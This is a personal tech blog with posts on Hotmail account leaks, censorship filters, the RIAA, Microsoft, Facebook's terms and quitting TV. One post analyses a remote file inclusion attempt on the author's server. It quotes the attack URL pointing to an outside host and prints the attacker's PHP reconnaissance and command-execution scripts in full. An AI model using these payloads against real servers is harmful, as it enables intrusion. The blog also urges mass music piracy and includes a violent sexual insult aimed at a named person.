FightSkillz.com - Life, Code, & Idiocy
It's really irritating when you're searching for OGG Vorbis support in the iOS 4 version of WebKit and a tech reporter's last name is Ogg. 2 days ago

Other Idiots

Apple Trackpads

Monday, November 9th, 2009

Apple apparently plans to start rolling out trackpad gestures that involve the use of all 10 fingers, and a toe. The new unibody macbooks can sense up to 11 points of contact and it's been independently confirmed that the next version of OS X will include the single toe-double handed swoop which will be used to invert the colours of everything on the screen. Head over here to download an app created by the guy responsible for this which visualizes how many points of contact your macbook has.

or don't.. what do i care...

Windows Live and Hotmail Accounts hacked

Tuesday, October 6th, 2009

They're actually not sure if accounts were hacked or phished, but Microsoft is saying it's not a breach of their servers... Their probably going on the assumption that if the content was from their databases the passwords would be hashed, but what about xss or some rogue browser plugin? What if there's a breach in some popular software that lets people log into msn messenger and sends off their credentials? Or those 'who blocked me' sites that lure in American Idol voters. Either way they're reporting 10,000+ accounts exposed beginning with A and B, regardless of how they got the info one can only assume they have A through Z.. the probability of getting that many credentials and all of them happen to start with the first two letters of the alphabet?

ANYONE that still has an @hotmail, @live, and whatever other domains Microsoft uses must change your passwords for ALL the sites you use, starting with your hotmail account. Assume all your mail and calendar appointments have been read by the original hackers AND about 100,000 other random people by now.

Someone with access to your email account can reset all your passwords, online banking, facebook, etc. and gain access to all of it while simultaneously locking you out.

Now while this is almost definitely not Microsoft's fault, I can't understand why so many people still use hotmail. Like it's almost as shit as Yahoo mail, and Yahoo mail is complete shit. Maybe this is a good thing, maybe it'll prompt a wave of computer literacy so users can protect themselves from this stupidity.

Furthurmore WHY hasn't anyone thought to take phishing into the non-virtual world. A bunch of guys set up next door First National Bank with a big sign out that says "Fish National Bank" then just wait around for people to hand over their financial information. People are obviously ridiculously stupid. And while we're on the subject how pretentious is First National Bank, like anyone cares you were first.

Internet Censorship

Tuesday, July 28th, 2009

I had an idea for a set of protocols and a software implementation of those protocols to enhance free speech... There are some rare circumstances where depending on the style of leadership, circumstances, and intent censorship can be a positive thing but I believe the vast majority of the time it does more harm than good. One of the many resources on the subject is Wikipedia and the following is an excerpt from their Internet Censorship article which illustrates just how silly can be to censor, but even more so when you realize a lot of censorship out there focuses on words and not context, arrangements of lines and dots and not meaning or intent. Surely it's not censorship itself that's evil, it's that stupid, evil, and illegitimate people are more likely to use it and push for it than others.

Auto-censorship against sexual words in matter for children, set to block the word "cunt", has been known to block the Lincolnshire (UK) placename Scunthorpe. Likewise, a block against the word "penis" may block the Yorkshire (UK) placename Penistone; and at least one big web forum, set to block "twat", automatically changes "wristwatch" into "wris****ch", and refuses the name "Dick" even when it clearly means a man's name. Other examples are blocking "specialist" because it contains the drug name "cialis", and changing "Essex" to "Es***".

Hack Attempts By Idiots

Sunday, July 26th, 2009

Looks like a bunch of Australian kids from Milton Queensland using a Korean school site to store their hacking scripts attempted to break into my server the other day. They failed but a record of their attempts was just sent to me and curiosity gets the better of me sometimes. read: http://en.wikipedia.org/wiki/Remote_File_Inclusion for more info.

A bunch of entries where they attempted to visit variations on the url:

http://fightskillz.com/category////?_SERVER[DOCUMENT_ROOT]=http://www.solmae.co.kr///receipt/lib/_private/id1.txt?

It appears they attempted to run their own script located on the Korean server, in the root directory of the script that my blog is running at. It seems like a pretty juvenile attempt at hacking, a textbook copied attempt at php injection. For interest's sake the id1.txt file they were trying to run off my server contains the following

<?php /* Fx29ID */ echo("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fx29ID */ ?>

I had a look at id2.txt as well, just assuming there would be id2 if there was id1, which was much more comprehensive, seems to grab all kinds of system variables and information. Check it out below:

<?php
##[ Fx29ID ]##
fx("ID","FeeL"."CoMz");
$P   = @getcwd();
$IP  = @getenv("SERVER_ADDR");
$UID = fx29exec("id");
fx("SAFE",@safemode()?"ON":"OFF");
fx("OS",@PHP_OS);
fx("UNAME",@php_uname());
fx("SERVER",($IP)?$IP:"-");
fx("USER",@get_current_user());
fx("UID",($UID)?$UID:"uid=".@getmyuid()." gid=".@getmygid());
fx("DIR",$P);
fx("PERM",(@is_writable($P))?"[W]":"[R]");
fx("HDD","Used: ".hdd("used")." Free: ".hdd("free")." Total: ".hdd("total"));
fx("DISFUNC",@getdisfunc());
##[ FX29SHEXEC ]##
function fx($t,$c) { echo "$t: "; echo (is_array($c))?join(" ",$c):$c; echo "<br>"; }
function safemode() { return (@ini_get("safe_mode") OR eregi("on",@ini_get("safe_mode")) ) ? TRUE : FALSE; }
function getdisfunc() { $rez = explode(",",@ini_get("disable_functions")); return (!empty($rez))?$rez:array(); }
function enabled($func) { return (function_exists($func) && is_callable($func) && !in_array($func,getdisfunc())) ? TRUE : FALSE; }
function fx29exec($cmd) {
  if (enabled("exec")) { exec($cmd,$o); $rez = join("\r\n",$o); }
  elseif (enabled("shell_exec")) { $rez = shell_exec($cmd); }
  elseif (enabled("system")) { @ob_start(); @system($cmd); $rez = @ob_get_contents(); @ob_end_clean(); }
  elseif (enabled("passthru")) { @ob_start(); passthru($cmd); $rez = @ob_get_contents(); @ob_end_clean(); }
  elseif (enabled("popen") && is_resource($h = popen($cmd.' 2>&1', 'r')) ) { while ( !feof($h) ) { $rez .= fread($h, 2096);  } pclose($h); }
  else { $rez = "Error!"; }
  return $rez;
}
function vsize($size) {
  if (!is_numeric($size)) { return FALSE; }
  else {
    if ( $size >= 1073741824 ) { $size = round($size/1073741824*100)/100 ." GB"; }
    elseif ( $size >= 1048576 ) { $size = round($size/1048576*100)/100 ." MB"; }
    elseif ( $size >= 1024 ) { $size = round($size/1024*100)/100 ." KB"; }
    else { $size = $size . " B"; }
    return $size;
  }
}
function hdd($type) {
  $P = @getcwd(); $T = @disk_total_space($P); $F = @disk_free_space($P); $U = $T - $U;
  $hddspace = array("total" => vsize($T), "free"  => vsize($F), "used"  => vsize($U));
  return $hddspace[$type];
}
die("FeeLCoMz");
?>

I guess they're aptly name id[1|2].txt for id-ing the system and used in that order to test for vulnerability without alerting people to the depth of access that would be granted by id2.txt if the targeted vulnerability existed on the victim server. I did a few Google searches and came up with a bunch of different ip addresses and a bunch of different servers hosting the exact same files. I guess somewhere out there.. in Milton Queensland Australia,  there's a young idiot trying to be a hacker...

Vanity Fair Cleans Up Palin's Idiocy

Friday, July 24th, 2009

Picture 26They went through her resignation speech with red pen. Check out all 10+ pages it's astonishing  http://www.vanityfair.com/politics/features/2009/07/palin-speech-edit-200907?currentPage=1

 

 

 

FUCK the riaa

Friday, June 19th, 2009

Woman illegally downloads 24 songs, fined to tune of $1.9 million - CNN.com.

The RIAA has bribed yet another jury and fined a woman $1.9 million for 'illegally' downloading 24 songs. Do people still pirate individual songs? Since I discovered torrenting I find it easier to pirate by the discography. I've been busy with other stuff but this article reminds me I haven't downloaded any music recently, and I have a long list of artists I wanna listen to. Download all the music you can, spread it around, share it with your friends and family, and support artists directly by going to their shows. Buy indapendent music.

With that said how much would you have had to pay the RIAA?

Here's a screenshot of my Itunes Music folder song count:

Picture 38

MATH: $1,900,000 / 24 songs = $80,000 per song

I have a bunch of podcasts and my own music in there, but according to bribed juries everywhere I currently owe the RIAA about $1,136,000,000, which for the other dyslexics out there is 1.136 billion dollars.

The RIAA suing people who barely pirate obsene amounts of money that they will never actually receive. It doesn't make sense why they're not more outraged at companies that make things like ipods. The current Ipod model has 120GB capacity, that's about 30,000 songs. WHY DOESN'T AN IPOD COST 2 BILLION DOLLARS THEN? Obviously most that music is pirated, millions of people have ipods and very few people in the world have spent $30,000 at 99c/song from the itunes store to fill it up. In case I haven't said it yet in this post, FUCK the RIAA.

Microsoft Is Getting Desperate Down Under

Thursday, June 18th, 2009

Microsoft is getting disparate and desperate, offering a chance at $10,0000 if you use their browser for a few weeks and twitter about it. Check out the contest  Ten Grand is Buried Here | Microsoft Australia. I think it's funny that they don't have anything legitimate to promote their browser so instead they say "our fastest browser yet" and "old Firefox" even though 3.5 is being release in a couple weeks and 3.0 being released a year ago is and was still faster, more secure/standards compliant, etc. than IE. At any rate, since desperation amuses me, I'm posting a bunch of screencaps too so you can see what the above link shows you if you visit it in different browsers. It's kinda sad seeing a massive corporation reduced to throwing money at user contests(instead of at their own staff to make the product better) and childish insults at the competition. But then again the company made its bones by riffing off the competition and locking in deals with oems. The ideal of which is riffing off the wii to make natal which is great,  and then there's the other darker side rearing its head in the online space where they've locked themselves into a corner where all they have is childishness and flailing jabs at the competition. The people have spoken, market share fluctuations are accelerating in their competitors favour.  As more demographics cross over the 50% market share line expect to see a lot more money and name calling from them.

Firefox

Picture 5

Safari

Picture 37

Chrome

Picture 36

Opera

Picture 31

I don't think it's gonna have much impact, just like a really ugly chick playing hard to get and then when you turn her down she tells you she'll only date you if you wear a different shirt every day and IF you're willing to do that you have a 1 in 50,000,000 chance of winning some money. Come on. Especially when there's 4 really hot chicks that put out and know what they're doing just around the corner, and soon in the case of Chrome pre-installed everywhere.

If you browse around MSN there are just tons of ads trying to get you to use their services. Silverlight is total shit, one developer I've spoken to really like it, but it's just not viable, and he was a snob, even the implementations used on live msn sites to promote their products have pixelated poorly made graphics and are slow, it just looks really unappealing. But they're pushing it becasue they want to dominate rich media. Never gonna happen. I read somewhere they're now offering free POP access to Hotmail or Windows Live Mail or whatever the hell they're calling it now(how can they build up so much resentment from their users that they have to rebrand all of their products every few months). Previously it only worked in Outlook Express and a few random email programs that had to pay for the right. But that's so behind, I've got Gmail smtp access for free for moths now, and if Gmail wasn't doing it for me anymore I could just export everything, mail-contacts-calendar-documents, to any conceivable format and move, for that reason I and anyone else that uses Google services does so because their services are awesome. My grandfather tried to leave hotmail about a year ago to gmail but had to keep the hotmail calendar cause it's just not worth retyping his entire calendar, so he's locked in and hates them for it, no matter what they call themselves. Just like enabling free pop access they will have to open up their services but it'll be too late. Even if they somehow magically build usefull open tools by the time they're forced to do it, even blind consumers who just use whatever their computer come with will just hate them so much for all the abuse. It looks like they don't understand that most of their users are from the boom from 1999-2003ish who are just locked into their services and are turning against them. They're user base just isn't growing proportionlly to the rate of internet users. And it bleeds into their other businesses. They want to be in home automation with Micorosft surface and walls covered in wallpaper that's really interactive computer screens and project natal. I personally wouldn't get natal just because it's a camera with a dedicated internet connection built by Microsoft a shady manipulating untrustworthy company that sits in your living room constantly pointed at you while you watch tv and react to commercials. You need trust to enter someone's home like that, and trust has to be earned not bought.


Twitter Users Shame CNN For Not Covering Iran Elections, Riots | NEWS JUNKIE

Sunday, June 14th, 2009

Twitter Users Shame CNN For Not Covering Iran Elections, Riots | NEWS JUNKIE.

Well there you have it, CNN one of the most respected news networks has hit a visible wall with its adventure into social media. They keep adding more and more shows centered around Twitter, Facebook, and Myspace comments and using blogs as sources for stories and it's come back to bite them in the ass. While a blog - the Huffington Post - is liveblogging the Iran elections with Video, images, and reports from the ground http://www.huffingtonpost.com/2009/06/13/iran-demonstrations-viole_n_215189.html. CNN who has enourmous reach and tons of actual reporters and journalists is talking to bikers and reporting on six flags. I'm glad I threw out my tv the other day, but it's not about the medium used it's about all the news shows not just CNN pandoring to advertisers and trying to boost ratings and putting those ambitions over actually reporting news and historic events. A good example of this is MSNBC and their product placement deal with Starbucks and how it's taking over one of their morning news shows. Not just talking about the coffee constantly but also interviewing the CEO about how great the coffee is, instead of the economic shithole the world is in and the thousands of people the guy just laid off.

Facebook Still A Big Shady Panda Tree

Wednesday, May 20th, 2009

I thought I'd stop by Facebook this morning(ok it's 1:00pm and I just woke up and happened to go there now-ish, but I was totally working on something cool till early this actual morning[6:40am], so for all intents and purposes this right now is 'morning' for the rest of the post.) and saw they'd updated their Terms of Use now deemed 'Statement of Rights and Responsibilities' which alone probably set at ease at least 30% of its outraged users. For the most part it's the same as before except now they've closed a whole lot of legal loopholes that their lawyers didn't see originally, specifically the stuff that made the contract completely null and void by virtue of being contradictory and unenforceable, and the language has been revised to be 90% not shady, and in the shady spots to be convoluted enough to throw off an estimated further 45% of disgruntled current and former users. After that there's an estimated 20% that have to use Facebook for work or networking and does so cautiously and then the again [personally] estimated 5% that realizes they couldn't take the social network giant in a legal battle, and that they could easily change their TOS by a few words to something like, "By maintaining a membership you give us lifelong irrevocable consent to use and complete ownership of your content to do with it as we please including all the intellectual works you've posted or may in the future post on Facebook, or have stashed away in your basement" oh wait, they already tried to do that. I meant do something like that again.

So with that said, what are the goods and bads about the new Facebook TOS (a.k.a. [long pandoring name])?

Pros

  • It's now legally enforceable and valid - a pro cause all the protection they claim to provide, they now actually mean it and are legally obligated to enforce it. With an invalid document as they had prior they could do ANYTHING with voluntarily submitted content, including identity, by virtue of it being invalid.
  • They now have to give 3-7 days notification when they change the TOS, which will allow users the chance to get out at the very least for one TOS revision, more if in that revision they don't choose to change that very statement, in which case you get at least one more use out of the clause.

Cons

  • It's now legally enforceable and valid - even though they had carte blanche with your identity, content, and intellectual property with their old invalid agreement, some local laws trumped such behavior. Now that you're signing a valid contract by using their service, the shady things they stipulate are now their legal right.
  • Their ownership of your intellectual property, personal information, and identity(name, address, phone number, pictures of you, etc.) is total and unlimited. ANYTHING you post on Facebook belongs to Facebook until you delete it or close your account. The excerpt below may be confusing,  it doesn't give Facebook the right to use anything you post anywhere on Facebook, instead it gives Facebook the right to use anything you post on Facebook or anywhere else on the net in connection with Facebook(and increasing amount of sites including CNN and other big players, there is no stipulation how loose a connection it needs to be) anywhere in The Universe(incl. France, Mars, Texas, TV, Magazines, Patent office, Jive Records, Radio, etc.). While you have some control over their ownership of your content via privacy and application settings there is nothing in the TOS that stipulates Facebook has to give you the ability to control all aspects of their ownership rights. Furthermore there's no stipulation that you need to be notified when they remove or change the wording of privacy and application controls. In fact, there are no Intellectual Property controls mentioned.
    "For content that is covered by intellectual property rights, like photos and videos ("IP content"), you specifically give us the following permission, subject to your privacy and application settings: you grant us a non-exclusive, transferable, sub-licensable, royalty-free, worldwide license to use any IP content that you post on or in connection with Facebook ("IP License"). This IP License ends when you delete your IP content or your account (except to the extent your content has been shared with others, and they have not deleted it)."

So what to make of this? Is Facebook less or more shady now? Here's my survival guide for the current TOS:

  1. Use Facebook every day. In some cases(when it involves money, and/or you've written an application for Facebook) you only get 3 days warning of TOS changes and knowing Facebook's past stance on the permanency of their rights you don't want to be stuck in that mess. You also need time to say goodbye to your 'friends', once you delete your account, any goodbye message will be hidden from other users; snatched from their inboxes.(The TOS allows them to keep these messages on Facebook but as of yet your stuff disappears)
  2. Don't put anything on Facebook or any site that uses 'Facebook Connect' or is in any other way connected with Facebook that you don't want to share equal ownership of with Facebook [and any of it's employees acting in the name of Facebook],  including but not limited to your name, likeness, image, identity, video footage of you or your family, art, poetry, music, or any other creative content. It's worth mentioning again that they can do anything with such content anywhere, for and to anyone.
  3. If you have to put personal information up, you know, so people know who you are and so you can interact with them, make sure to double check your privacy settings. Keep a note that all the privacy settings that were there yesterday are still there today, because they can change whenever Facebook pleases without notice of any kind. Hope Facebook gives you controls over how THEY can use your content rather than just what type of friends and other users can view your content.

 

To reiterate and conclude: fuck facebook, they are at par ethically with people that author malicious viruses and data harvesters. I hope Zuckerberg get's analy raped by big donkey dick and/or if the site should EVER manage to turn a profit for him to turn around and support cancer research or something good that balances out the shameless exploitation of his sheep-like mindless users.

Good Riddance

Monday, May 11th, 2009

I just threw out my TV and I feel ok about it. You think something bad's gonna happen when you do, but nothing did.

Over the last 2/3 years i kinda stopped watching cable tv. I was never just sitting around doing nothing when the shows I liked came on so I used to just watch them online(if it was 'available in my region') or torrent the episodes and play them on my 1st gen softmodded xbmc xbox which was, hooked up to a tv. Recently I came to find two things:

  1. I didn't really care enough to download new episodes of stuff
  2. I found a whole lot more shows I liked and started trying to get in front of the tv when they were on
  3. oh yeah and a 3rd thing:

  4. The only thing I've really gained from tv is hours and hours of lost time. Fleeting precious hours gone watching people cook things I'll never eat, talk to people I'll never meet, places I'll never go and events that will never affect me.

Some days I'd watch CNN for hours, I'd even leave it on while I worked so I could keep up with what was happening in the world and to make sure I listened to the same story told by 8 different groups of people throughout the day. I now know a ton about the inner workings of the U.S. government and virtually nothing about Canadian politics. At least I find that fact funny, or maybe it's more amazing than funny... In my defence this was partly due to a need to understand the deeper layers of what Jon Stewart was talking about, but also partly to understand the even deeper layers of what Stephen Colbert was parodying. I've seen Iron Chef so many times I'm a pro when there's only 1 thing in my fridge and I have to make a 7 course meal. Thanks to Gordan Ramsay I could help any restaurant turn a profit and get their shit together and I feel really comfortable yelling at cooks in a scottish accent. I got to see The Simpsons lose their subtlety and finesse (quite frankly a little piece of me died), and developed ADHD from watching Family Guy, and American Dad. If I ever end up working in a cubicle I'll find it hillarious thanks to the Office. I reaffirmed my vegetarianism watching Anthony Bourdain visit Egypt where a bunch of guys murdered and chopped up a camel before feeding it to him. I now see that it's possible to be a somewhat modern family and practice polygamy thanks to Big Love. Thanks to House I now know for sure that it is really all about the doctors and their egos or perks.. depending on the doctor. They also never show any nurses, anyone who's met at least one nurse and at least one doctor knows that there wouldn't be a functional health care system anywhere without nurses. Without nurses healthcare would be more like factory farming--cold sterile and abusive. Myth Busters is one of the best shows to ever exist by far. Last night was the season premier, the first time I'd ever seen a show that wasn't a repeat which are on all the time cause it's such a great show. It was a 2 hour special of blowing things up and smashing other things. It was late, I was tired, and I feel asleep halfway through. The fact that I missed the other half, doesn't really bother me at all. Watching Jimmy Fallon burst out of the whomb was interesting, but since I'm not a movie critic I've got nowhere to put all my comments. The Roots are the only thing that made it watchable. I feel like I might regret watching Conan's first week, but let's be honest, tonight, late night, late late night.. Every night is really just the same infomercial with the same monologue and slightly different guests reading from a script promoting the next thing on tv or movie they're working on. Planting a little seed so by the time you see the trailer or the promos you've got yourself a little seedling and when it's d-day and you've got to tune in or drive down to the movies you're just dying to buy your ticket to another crappy flick. It's all the same crap though. Watch one season of one show and you get it, you don't have to watch anything else ever, you could come back in 50 years and watch the newest plasma hologram show and you'll see all the jokes coming from a mile away. It's like trying to listen to more than one Bill Hicks album in a day without hoping and praying to find a shotgun delivery service in the local yellow pages. ITS THE SAME SHIT on loop. Break your TV, SMASH your tv... throw it out on the curb, unplug it and melt it down for the uncompromizing soul sucking leach that it is and has been all your life and be free. That is my gift to you, the 5 people that will ever read this. Freedom. It's a cold lifeless dying medium who's only unique contrabutions to the universe are infomercials and made for tv movies. Two things that if left unchecked for too long could flatten the earth all by themselves, individually or together. A medium centered around selling you shit you don't need and don't want. Carson Daly's new format is pretty cool, it's up there with MythBusters, it is. Live music, artist interviews--not the cheesy obviously scripted kind from other shows, but you know what, some content shouldn't be locked up on tv. The few good shows in the sea of crap aren't worth it. Besides there's a pretty spankin' music scene around here and as cool as Carson is it still doesn't beat actually being there. Flight of The Concords,  The Sarah Silverman Program, and tons of other not as good are just the next trend of suedo reality. Triggered by Seinfeld and Curb Your Enthusiasm, and popularized by viewers who got sick of pathetic 'reality shows' especially when they found out during the writer's strike actually had writers. I won't deny that there are some great shows out there but I'd rather get the finished compiled version,  commercial free, comentary, and not have to revolve my life around the schedule of a glass rectangle. "Technology will one day enslave us" is the phrase uttered by someone who hasn't yet taken a step back to see what's happened over the last 110 years.

Hopefully with this post I've released all this useless fucking knowledge back into the ether from where it came. I did it in the hopes that I get a little real estate back that can once again be used to host useful things. Things like thoughts and ideas, and with the extra time maybe, just maybe I can implement one or two of them.